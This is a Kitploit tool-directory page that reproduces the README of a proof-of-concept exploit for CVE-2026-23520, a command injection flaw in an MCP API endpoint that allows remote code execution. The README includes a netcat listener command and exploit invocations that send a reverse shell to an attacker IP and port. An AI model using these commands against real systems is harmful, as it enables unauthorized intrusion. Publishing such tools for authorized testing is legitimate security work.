Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-23520 — Proof-of-concept exploit for CVE-2026-23520, a command injection vulnerability in Arcane's updater service, enabling remote code execution via crafted API requests. | Kitploit
Tools/GitHubGitHub/cypher-21/cve-2026-23520
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRemote Access Tool
GitHubcypher-21/cve-2026-23520

CVE-2026-23520

Proof-of-concept exploit for CVE-2026-23520, a command injection vulnerability in Arcane's updater service, enabling remote code execution via crafted API requests.

View Repository
25 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-23520

MCP API Remote Command Execution (RCE) PoC


📌 Overview

This repository contains a Proof-of-Concept (PoC) exploit for a Remote Command Execution (RCE) vulnerability affecting applications that expose a vulnerable MCP API endpoint (commonly /api/mcp/connect).

The vulnerability allows execution of system-level commands via a crafted API request.


🚀 Quick Start

1. Start a listener

root@kitploit:~
nc -lvnp ATTACKER_PORT

2. Run the exploit

root@kitploit:~
python3 exploit.py TARGET --lhost ATTACKER_IP --lport ATTACKER_PORT

📥 Usage

root@kitploit:~
python3 exploit.py <target> --lhost <ATTACKER_IP> --lport <ATTACKER_PORT> [options]

🔑 Required Arguments

ArgumentDescription
targetTarget IP, domain, or URL
--lhostAttacker IP
--lportAttacker port

🔧 Optional Arguments

FlagDescription
-p, --portTarget port (default: 443)
-s, --schemehttp or https (default: https)
-e, --endpointAPI endpoint path
-t, --timeoutRequest timeout
-v, --verboseDebug output

🧪 Examples

root@kitploit:~
python3 exploit.py example.com --lhost 10.10.10.10 --lport 4444
root@kitploit:~
python3 exploit.py example.com -s http -p 80 --lhost 10.10.10.10 --lport 4444

🧠 Notes

  • A timeout does not necessarily indicate failure.
  • Ensure your listener is running before exploitation.
  • Payload assumes /bin/bash is available.

⚠️ Disclaimer

For authorized testing and educational purposes only.


👨‍💻 Author

Parosh B

Download Tool